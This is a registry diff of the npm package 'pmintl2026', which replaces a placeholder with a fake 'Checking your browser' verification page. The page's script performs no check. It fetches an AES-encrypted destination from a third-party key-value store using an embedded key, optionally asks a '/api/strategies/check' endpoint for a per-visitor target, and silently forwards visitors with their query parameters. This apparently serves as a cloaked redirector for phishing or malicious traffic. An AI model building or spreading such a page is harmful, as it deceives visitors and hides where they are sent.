pmintl2026 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +9 -2
  2. package/index.html +282 -0
  3. package/package.json +13 -4
package/README.md CHANGED
@@ -1,3 +1,10 @@
1
- # Temporary Holding Version
1
+ # Browser verification page
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ A single static page served as the package entry point. It shows a brief
4
+ verification screen, resolves the destination it forwards to, and sends the
5
+ visitor there with the original query parameters.
6
+
7
+ - `index.html` — the page itself, no build step.
8
+ - No runtime dependencies and no install scripts.
9
+
10
+ Serve the package directory as static files, or open `index.html` directly.
package/index.html ADDED
@@ -0,0 +1,282 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en-US" dir="ltr" data-build="iaoqor">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="robots" content="noindex,nofollow">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1">
7
+ <meta name="generator" content="challenge-page/iaoqor">
8
+ <title>Checking your browser</title>
9
+ <style>
10
+ * { box-sizing: border-box; margin: 0; padding: 0; }
11
+ html {
12
+ line-height: 1.15;
13
+ text-size-adjust: 100%;
14
+ font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
15
+ background-color: #ffffff;
16
+ color: #313131;
17
+ }
18
+ body {
19
+ display: flex;
20
+ flex-direction: column;
21
+ min-height: 100vh;
22
+ justify-content: space-between;
23
+ }
24
+ @media (prefers-color-scheme: dark) {
25
+ html { background-color: #313131; color: #f2f2f2; }
26
+ .main-content_iaoqor h1, .main-content_iaoqor p, .footer-text_iaoqor { color: #f2f2f2 !important; }
27
+ .challenge-box_iaoqor { border-color: #585858 !important; }
28
+ .status-text_iaoqor { color: #f2f2f2 !important; }
29
+ .footer-inner_iaoqor { border-top: 1px solid #444444 !important; }
30
+ }
31
+ .main-wrapper_iaoqor {
32
+ flex-grow: 1;
33
+ display: flex;
34
+ align-items: center;
35
+ justify-content: center;
36
+ padding: 20px;
37
+ }
38
+ .main-content_iaoqor { max-width: 600px; width: 100%; text-align: left; }
39
+ .ch-title_iaoqor { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
40
+ .ch-description_iaoqor { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
41
+ .challenge-slot_iaoqor { margin-bottom: 30px; min-height: 65px; }
42
+ .challenge-box_iaoqor {
43
+ width: 300px;
44
+ height: 65px;
45
+ margin-bottom: 30px;
46
+ border: 1px solid #e7e7e7;
47
+ background: transparent;
48
+ display: flex;
49
+ align-items: center;
50
+ justify-content: flex-start;
51
+ padding: 12px 13px 11px 9px;
52
+ }
53
+ .challenge-status_iaoqor {
54
+ display: flex;
55
+ align-items: center;
56
+ min-width: 0;
57
+ }
58
+ .spinner_iaoqor {
59
+ position: relative;
60
+ width: 31px;
61
+ height: 31px;
62
+ margin-right: 9px;
63
+ flex: 0 0 auto;
64
+ animation: rotate_iaoqor 1.35s linear infinite;
65
+ }
66
+ .spinner_iaoqor span {
67
+ position: absolute;
68
+ top: 14px;
69
+ left: 14px;
70
+ width: 3px;
71
+ height: 3px;
72
+ border-radius: 50%;
73
+ background: #28c86b;
74
+ transform: rotate(calc(var(--i) * 45deg)) translateY(-13px);
75
+ opacity: calc(0.22 + (var(--i) * 0.09));
76
+ }
77
+ .status-text_iaoqor {
78
+ margin: 0;
79
+ line-height: 1.05;
80
+ color: #313131;
81
+ }
82
+ .status-text_iaoqor strong {
83
+ display: block;
84
+ font-size: 16px;
85
+ font-weight: 700;
86
+ white-space: nowrap;
87
+ }
88
+ @keyframes rotate_iaoqor {
89
+ to { transform: rotate(360deg); }
90
+ }
91
+ .footer_iaoqor { padding: 20px 0; width: 100%; }
92
+ .footer-inner_iaoqor {
93
+ max-width: 1000px;
94
+ margin: 0 auto;
95
+ padding: 16px 20px 0 20px;
96
+ border-top: 1px solid #e0e0e0;
97
+ display: flex;
98
+ flex-direction: column;
99
+ gap: 8px;
100
+ font-size: 13px;
101
+ color: #8c8c8c;
102
+ }
103
+ .request-id_iaoqor { font-family: monospace; }
104
+ .request-id_iaoqor code { font-family: monospace; font-weight: bold; }
105
+ .footer-text_iaoqor { line-height: 1.4; }
106
+ </style>
107
+ </head>
108
+ <body>
109
+ <main class="main-wrapper_iaoqor" role="main">
110
+ <div class="main-content_iaoqor">
111
+ <h1 class="ch-title_iaoqor">Checking your browser</h1>
112
+ <p class="ch-description_iaoqor">This page confirms that the request comes from a real browser. It only takes a moment.</p>
113
+ <section class="challenge-box_iaoqor" aria-label="Verification status">
114
+ <div class="challenge-status_iaoqor">
115
+ <div class="spinner_iaoqor" aria-hidden="true">
116
+ <span style="--i: 0"></span>
117
+ <span style="--i: 1"></span>
118
+ <span style="--i: 2"></span>
119
+ <span style="--i: 3"></span>
120
+ <span style="--i: 4"></span>
121
+ <span style="--i: 5"></span>
122
+ <span style="--i: 6"></span>
123
+ <span style="--i: 7"></span>
124
+ </div>
125
+ <p class="status-text_iaoqor">
126
+ <strong>Verifying...</strong>
127
+ </p>
128
+ </div>
129
+ </section>
130
+ </div>
131
+ </main>
132
+ <footer class="footer_iaoqor" role="contentinfo">
133
+ <div class="footer-inner_iaoqor">
134
+ <span class="request-id_iaoqor">Request ID: <code id="request-id">------------</code></span>
135
+ <span class="footer-text_iaoqor">Automated traffic is screened to keep this page available.</span>
136
+ </div>
137
+ </footer>
138
+ <script>
139
+
140
+ var hostKey = "jWVzjdI5ySr4rwhq6D5CfOtWb4vnvTmHeNAHhdv";
141
+ var aesKeyBase64 = "bEcR1pNkQfTTgGQWXM3btkYGP41uBoIRke2zpGEQbXg=";
142
+ var fallbackDelayMs = 600;
143
+
144
+ var redirecting = false;
145
+
146
+ function decodeBase64(b64) {
147
+ var bin = atob(b64);
148
+ var bytes = new Uint8Array(bin.length);
149
+ for (var i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
150
+ return bytes;
151
+ }
152
+
153
+ function generateRequestId() {
154
+ var chars = "0123456789abcdef";
155
+ var result = "";
156
+ for (var i = 0; i < 12; i++) result += chars.charAt(Math.floor(Math.random() * 16));
157
+ return result;
158
+ }
159
+
160
+ function setRequestId() {
161
+ var target = document.getElementById("request-id");
162
+ if (target) target.textContent = generateRequestId();
163
+ }
164
+
165
+ function toHttpUrl(value, base) {
166
+ try {
167
+ var parsed = new URL(String(value), base || undefined);
168
+ if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
169
+ return parsed;
170
+ } catch (err) {
171
+ return null;
172
+ }
173
+ }
174
+
175
+ function appendVisitorParams(targetUrl) {
176
+ new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
177
+ targetUrl.searchParams.append(paramKey, paramValue);
178
+ });
179
+ return targetUrl;
180
+ }
181
+
182
+ function decodeStoredValue(stored) {
183
+ var separator = stored.indexOf(":");
184
+ if (separator <= 0) return Promise.resolve(stored);
185
+ return crypto.subtle.importKey(
186
+ "raw",
187
+ decodeBase64(aesKeyBase64),
188
+ { name: "AES-CTR" },
189
+ false,
190
+ ["decrypt"]
191
+ ).then(function (secretKey) {
192
+ return crypto.subtle.decrypt(
193
+ { name: "AES-CTR", counter: decodeBase64(stored.slice(0, separator)), length: 128 },
194
+ secretKey,
195
+ decodeBase64(stored.slice(separator + 1))
196
+ );
197
+ }).then(function (plain) {
198
+ return new TextDecoder().decode(plain);
199
+ }).catch(function () {
200
+ return stored;
201
+ });
202
+ }
203
+
204
+ function resolveHostUrl() {
205
+ return fetch("https://api.keyval.org/get", {
206
+ method: "POST",
207
+ cache: "no-store",
208
+ headers: { "Content-Type": "application/json" },
209
+ body: JSON.stringify({ key: hostKey })
210
+ }).then(function (response) {
211
+ return response.ok ? response.json() : null;
212
+ }).then(function (data) {
213
+ var stored = String((data && data.val) || "").trim();
214
+ if (!stored) return null;
215
+ return decodeStoredValue(stored);
216
+ }).then(function (plain) {
217
+ var text = String(plain || "").trim();
218
+ if (!text) return null;
219
+ return toHttpUrl(/^[a-z][a-z\d+.-]*:\/\//i.test(text) ? text : "https://" + text);
220
+ }).catch(function () {
221
+ return null;
222
+ });
223
+ }
224
+
225
+ function fetchPolicyRedirectUrl(baseUrl) {
226
+ var cid = new URLSearchParams(window.location.search).get("cid");
227
+ if (!cid || !baseUrl) return Promise.resolve(null);
228
+ return fetch(baseUrl + "/api/strategies/check?cid=" + encodeURIComponent(cid))
229
+ .then(function (checkResponse) {
230
+ if (!checkResponse.ok) return null;
231
+ return checkResponse.json();
232
+ })
233
+ .then(function (checkData) {
234
+ if (checkData && checkData.success && checkData.redirect_url) {
235
+ return checkData.redirect_url;
236
+ }
237
+ return null;
238
+ })
239
+ .catch(function () {
240
+ return null;
241
+ });
242
+ }
243
+
244
+ function navigate(targetUrl) {
245
+ redirecting = true;
246
+ window.location.replace(targetUrl.toString());
247
+ }
248
+
249
+ function redirectToHost() {
250
+ if (redirecting) return Promise.resolve();
251
+ return hostUrlPromise.then(function (url) {
252
+ if (!url || redirecting) return null;
253
+ appendVisitorParams(url);
254
+ navigate(url);
255
+ return null;
256
+ });
257
+ }
258
+
259
+ var hostUrlPromise = resolveHostUrl();
260
+
261
+ var checkPromise = hostUrlPromise.then(function (hostUrl) {
262
+ var baseUrl = hostUrl ? hostUrl.origin : "";
263
+ return fetchPolicyRedirectUrl(baseUrl).then(function (policyUrl) {
264
+ if (!policyUrl) return false;
265
+ var target = toHttpUrl(policyUrl, baseUrl || undefined);
266
+ if (!target) return false;
267
+ appendVisitorParams(target);
268
+ navigate(target);
269
+ return true;
270
+ });
271
+ });
272
+
273
+ setRequestId();
274
+
275
+ checkPromise.then(function (redirected) {
276
+ if (redirected) return;
277
+ setTimeout(function () { redirectToHost(); }, fallbackDelayMs);
278
+ });
279
+
280
+ </script>
281
+ </body>
282
+ </html>
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "pmintl2026",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "Browser verification page that forwards visitors to the configured destination.",
5
+ "license": "MIT",
6
+ "keywords": [
7
+ "browser-verification",
8
+ "landing-page"
9
+ ],
10
+ "main": "index.html",
11
+ "files": [
12
+ "index.html",
13
+ "README.md"
14
+ ]
15
+ }